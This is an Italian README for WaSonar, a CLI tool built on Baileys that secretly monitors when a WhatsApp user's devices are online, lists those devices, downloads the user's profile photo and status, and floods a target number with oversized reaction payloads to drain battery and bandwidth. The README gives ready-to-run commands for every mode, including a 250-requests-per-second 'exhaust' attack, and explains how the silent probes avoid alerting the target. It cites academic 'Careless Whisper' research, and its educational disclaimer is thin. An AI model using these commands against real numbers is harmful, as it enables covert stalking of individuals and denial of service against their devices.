Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Gli sviluppatori non sono responsabili di un uso improprio. Si prega di utilizzarlo in modo responsabile ed etico.

WaSonar è un potente strumento CLI progettato per la ricerca educativa, il monitoraggio dei dispositivi e i test di stress sul protocollo WhatsApp. Costruito su Baileys.

Funzionalità • Installazione • Utilizzo

Funzionalità

Monitoraggio in tempo reale dei dispositivi: Rileva lo stato esatto online/offline di tutti i dispositivi collegati (Telefono, Web, Desktop).
Scoperta dei dispositivi: Elenca tutti i dispositivi collegati a un numero target (Telefono principale + dispositivi secondari).
Estrazione del profilo: Recupera le foto del profilo, le informazioni sullo stato/descrizione e i JID.
Esaurimento delle risorse: Sovraccarica i dispositivi utilizzando payload di reazioni di dimensioni eccessive (modalità Aggressiva/Lenta).

Installazione

Tramite NPM (Consigliato)

npm install -g wasonar-cli

Tramite NPX (Nessuna installazione richiesta)

npx wasonar-cli <comando>

Da sorgente

git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

Utilizzo

Per prima cosa, è necessario autenticarsi con un account WhatsApp.

wasonar-cli login

Scansiona il codice QR che appare nel terminale.

2. Scoperta dei dispositivi

Elenca tutti i dispositivi collegati a un numero target.

wasonar-cli devices <numero-target>

# Esempio:
wasonar-cli devices 919876543210

3. Stato online & RTT

La funzionalità principale. Invia sonde silenziose per rilevare se i dispositivi sono online e misurare la latenza.

# Sonda infinite volte (predefinito)
wasonar-cli online 919876543210

# Invia un numero specifico di sonde
wasonar-cli online 919876543210 --probes 5

# Salva i risultati in un file
wasonar-cli online 919876543210 --output ./logs

Nota: PENDING/OFFLINE significa che il server ha ricevuto il messaggio, ma il dispositivo target non ne ha confermato la ricezione.

4. Estrazione del profilo

Ottieni la foto del profilo e lo stato dell'utente.

# Mostra le informazioni e scarica la foto del profilo
wasonar-cli profile 919876543210 --output ./profiles

5. Esaurimento delle risorse

⚠️ SOLO PER USO EDUCATIVO. Invia payload di dimensioni eccessive ad alta frequenza.

# Modalità aggressiva (predefinito: 250 req/s, payload da 1KB)
wasonar-cli exhaust 919876543210

# Modalità lenta (10 req/s, payload da 500B)
wasonar-cli exhaust 919876543210 --aggression slow

# Imposta la durata
wasonar-cli exhaust 919876543210 --duration 30

Metodologia

Sonde silenziose

WaSonar utilizza "Sonde di eliminazione silenziosa" per rilevare lo stato online senza avvisare il target.

Invia un messaggio revoked (cancellato) per un ID messaggio inesistente.
Il dispositivo target riceve questa richiesta di "cancellazione".
Se online, il dispositivo invia una delivery_receipt (stato 3) per il messaggio di protocollo.
WaSonar cattura questa ricevuta per confermare lo stato online e calcolare l'RTT.

Attacco di esaurimento

Basato sulla ricerca "Careless Whisper", questo attacco sfrutta il divario di validazione nella gestione delle reazioni di WhatsApp.

Dettagli tecnici

Sebbene le reazioni non vengano visualizzate sul telefono del target se non valide, vengono comunque ricevute ed elaborate.

Limiti di payload: I server WhatsApp consentono payload di reazioni fino a 1 MB.
Elaborazione: Il client tenta di elaborare questi messaggi prima di scartarli (limite di circa 30 byte per la visualizzazione valida), consumando risorse.

Analisi dell'impatto

I dati di ricerca indicano un potenziale significativo di esaurimento delle risorse:

Inflazione del traffico: Una singola sessione può generare circa 3,7 MB/s (13,3 GB/ora) di traffico occulto.
Consumo della batteria: L'elaborazione rapida di questi messaggi può consumare 14-18% di batteria all'ora su smartphone moderni (testato su iPhone 13 Pro, S23) mentre il dispositivo è in standby.
Denial of Service: Il consumo di larghezza di banda può portare a un denial of service per altre applicazioni sul dispositivo della vittima.

Citazione

Basato sulla ricerca di Gegenhuber et al., Università di Vienna e SBA Research:

@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

Creato da AjayAnto

WaSonar

Più Popolari